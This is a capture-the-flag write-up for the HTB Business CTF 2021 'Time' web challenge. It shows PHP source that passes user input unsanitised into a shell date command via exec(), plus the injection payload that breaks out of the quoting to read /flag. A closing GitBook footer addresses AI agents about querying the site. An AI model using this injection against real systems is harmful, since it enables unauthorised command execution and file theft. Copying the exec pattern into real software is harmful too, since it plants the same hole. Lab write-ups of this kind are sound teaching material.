> For the complete documentation index, see [llms.txt](https://ctf.laet4x.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.laet4x.com/ctf-2021/htb-business-ctf-2021/time.md).

# Time

Challenge: Time

Category: Web

Get the current date and time, anytime, anywhere!

<figure><img src="/files/4vUK3kOXM9pjy7k0cwe7" alt=""><figcaption></figcaption></figure>

I notice that it changed when I click the What’s the date? menu.

<figure><img src="/files/f4MDOJk99Vx98NPa6Tlg" alt=""><figcaption></figcaption></figure>

Since it's a web challenge, I thought of a possible code injection vulnerability.

They provided a source code:

```
web_time
├── build_docker.sh
├── challenge
│   ├── assets
│   │   └── favicon.png
│   ├── controllers
│   │   └── TimeController.php
│   ├── index.php
│   ├── models
│   │   └── TimeModel.php
│   ├── Router.php
│   ├── static
│   │   └── main.css
│   └── views
│       └── index.php
├── config
│   ├── fpm.conf
│   ├── nginx.conf
│   └── supervisord.conf
├── Dockerfile
└── flag
```

First, I checked the directory structure, so it's MVC since we have controller, model, and views folders. Second, I checked the Dockerfile and build it inside my machine, and examine what is the docker image, command used and where’s the flag located.

```
FROM debian:buster-slim

# Setup user
RUN useradd www

# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release wget

# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list

# Install PHP dependencies
RUN apt update && apt install -y php7.4-fpm

# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.4/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf

# Copy challenge files
COPY challenge /www

# Setup permissions
RUN chown -R www:www /www /var/lib/nginx

# Copy flag
COPY flag /flag

# Expose the port nginx is listening on
EXPOSE 80

# Populate database and start supervisord
CMD /usr/bin/supervisord -c /etc/supervisord.conf
```

I found that the flag is located in /flag path, but they provided a sample flag inside their source code:

<figure><img src="/files/tdWoSMC8ToHo7jaPGlr8" alt=""><figcaption></figcaption></figure>

Next is I checked controllers/TimeController.php

```php
<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}
```

This indicated that the Controller called/created the object TimeModel, so I checked the models/TimeModel.php

```php
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}
```

I found `$this->command = “date ‘+” . $format . “‘ 2>&1”;`

This means that we need to inject command (command injection vulnerability) We can break out the string by adding a single quote (‘) and add a semi-colon(;)

I make an easy request using Burpsuite:

`/?format='; cat ' ../flag`

<figure><img src="/files/9srBrUWeAUwQen2r3uBF" alt=""><figcaption></figcaption></figure>

Gotcha, I found a flag!!!


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ctf.laet4x.com/ctf-2021/htb-business-ctf-2021/time.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.